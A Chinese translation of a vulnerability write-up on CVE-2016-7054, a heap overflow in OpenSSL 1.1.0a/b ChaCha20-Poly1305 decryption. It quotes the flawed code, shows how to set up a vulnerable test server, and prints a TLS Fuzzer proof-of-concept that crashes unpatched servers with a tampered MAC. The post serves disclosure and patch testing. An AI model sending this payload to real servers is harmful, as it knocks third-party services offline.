几天前,Fortinet发表了一个题为“OpenSSL ChaCha20-Poly1305堆溢出(CVE-2016-7054)分析”的文章。OpenSSL程序库中的一个高危堆溢出漏洞被发现,影响1.1.0a和1.1.0b版本。漏洞代码位于openssl-OpenSSL_1_1_0a\crypto\evp\e_chacha20_poly1305.c文件中。
让我们看一下这段存在漏洞的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
//Line No 196 static int chacha20_poly1305_cipher(EVP_CIPHER_CTX *ctx, unsigned char *out, const unsigned char *in, size_t len) { ... //Line No 241 } else { /* ciphertext: Decrypt the ciphertext */ Poly1305_Update(POLY1305_ctx(actx), in, plen); chacha_cipher(ctx, out, in, plen); in += plen; out += plen; //out points to the end of the buffer where decrypted ciphertext is stored. actx->len.text += plen; } ... //Line No 293 Poly1305_Final(POLY1305_ctx(actx), ctx->encrypt ? actx->tag : temp); //Generate MAC from the ciphertext actx->mac_inited = 0;if (in != NULL && len != plen) { /* tls mode */ if (ctx->encrypt) { memcpy(out, actx->tag, POLY1305_BLOCK_SIZE); } else { if (CRYPTO_memcmp(temp, in, POLY1305_BLOCK_SIZE)) { /* If the generated MAC doesn't match the one sent along with ciphertext... Clear the buffer where ciphertext was stored, but notice that 'out' points to the end of the buffer ** So extra space from heap will be cleared ** */ memset(out, 0, plen); return -1; } } } else if (!ctx->encrypt) { if (CRYPTO_memcmp(temp, actx->tag, actx->tag_len)) return -1; } } return len; } |
CHaCHa20流密码和Poly1305消息认证码
ChaCha20
ChaCha20是Salsa20算法的改良版,使用256比特密钥。ChaCha20连续的使用同一个密钥和随机数调用ChaCha20块函数,并连续增加块计数器参数。然后,ChaCha20以小字节序(little-endian order)对结果进行序列化处理,得到密钥流数据块。这个密钥流数据块将与明文进行异或运算得到密文。
ChaCha20的输入:
1. 256比特密钥
2. 32比特初始计数器
3. 96比特随机数(IV)
4. 任意长度的明文
其输出是与明文长度相同的密文。
Poly1305
Poly1305是一个一次性的验证器,其输入为:
1. 32比特的一次性密钥
2. 一段消息
其输出是16字节的标记(Tag),用于验证消息。Poly1305使用AES加密随机数,但是AES可以被任意的带密钥的函数替代,就像这篇论文描述的。
因此使用ChaCha20-Poly1305我们得到:
至此,我们已经知道足够的基础知识,现在我们可以进行深入分析。下一步,我们尝试通过生成带有错误标记的TLS消息来触发有漏洞的代码。
我们发送一个ClientHello,通过一个使用ChaCha20和Poly1305的加密套件(cipher suite),例如DHE-RSA-CHACHA20-POLY1305-SHA256。如果服务器支持这个加密套件,它将会返回一个服务器Hello,否则它将会引发握手失败警告(ChaCha20-Poly1305 的支持在OpenSSL 1.1.0中引入)。密钥交换和消息完成之后,我们可以发送我们应用程序的数据,这里是我们想发送一个恶意的消息认证码(MAC)来触发漏洞的地方。
为了利用这个漏洞,我们需要与服务器协商ChaCha20-Poly1305加密套件,并发送一个带有恶意消息认证码(MAC)的消息。让我们首先配置运行OpenSSL 1.1.0a的服务器。
设置 OpenSSL 1.1.0a
我们可以从https://www.openssl.org/source/old/1.1.0/下载需要的版本,解压文档之后,我们配置该软件包,但是我们不希望它覆盖我们现在安装的OpenSSL版本,我们可以如下进行配置:
1
|
./config --prefix=/opt/openssl-1.1.0a --openssldir=/opt/openssl-1.1.0a |
然后make并安装这个软件包。然后,我们运行生成证书和密钥并设置OpenSSL侦听传入的TLS链接。
1
2
|
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /opt/openssl-1.1.0a/cert.key -out /opt/openssl-1.1.0a/cert.crt /opt/openssl-1.1.0a/bin/openssl s_server -cipher 'DHE-RSA-CHACHA20-POLY1305' -key /opt/openssl-1.1.0a/cert.key -cert /opt/openssl-1.1.0a/cert.crt -accept 443 -www -tls1_2 -msg |
漏洞利用
(使用带有恶意消息认证码的ChaCha20-Poly1305连接到服务器)
使用TLS Fuzzer和它的fuzz_application_data功能,我们可以发送一个恶意消息认证码到我们有漏洞的OpenSSL实例 (https://github.com/silverfoxy/tlsfuzzer/blob/master/scripts/test-cve-2016-7054.py)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
# Offsec Research - babak@offsec.ir conversations = {} # 16 chars: POLY1305 tag 128 bit # Tampering the last bit suffices to damage the MAC # The payload has to be long enough to trigger heap overflow n = 15000 fuzzes = [(-1, 1)] for pos, val in fuzzes: conversation = Connect(sys.argv[1], int(sys.argv[2])) node = conversation ciphers = [CipherSuite.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256] node = node.add_child(ClientHelloGenerator(ciphers)) node = node.add_child(ExpectServerHello()) node = node.add_child(ExpectCertificate()) node = node.add_child(ExpectServerKeyExchange()) node = node.add_child(ExpectServerHelloDone()) node = node.add_child(ClientKeyExchangeGenerator()) node = node.add_child(ChangeCipherSpecGenerator()) node = node.add_child(FinishedGenerator()) node = node.add_child(ExpectChangeCipherSpec()) node = node.add_child(ExpectFinished()) node = node.add_child(fuzz_encrypted_message( ApplicationDataGenerator(b"GET / HTTP/1.0\n" + n * b"A" + b"\n\n"), xors={pos:val})) node = node.add_child(ExpectAlert(AlertLevel.fatal, AlertDescription.bad_record_mac)) node = node.add_child(ExpectClose()) |
如果OpenSSl实例不存在漏洞,它将会回复bad_record_mac警告并关闭连接,而存在漏洞的实例将会崩溃:
我决定为开发团队提供这个示例代码,以便能够测试他们可能基于OpenSSL代码库的自定义的堆栈和产品是否存在这个漏洞。OpenSSL 1.1.0c及以后版本对这个漏洞进行了修复,通过将"out"指针设置到密文的开头而不是结尾。升级将会解决这个问题。我必须指出,漏洞的影响仅限于拒绝服务。
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://offsec.ir/blog/2016/12/exploiting-cve-2016-7054-openssl-1-1-0a-and-b-heap-buffer-overflow/
如果此文章侵权,请留言,我们进行删除。0day
文章评论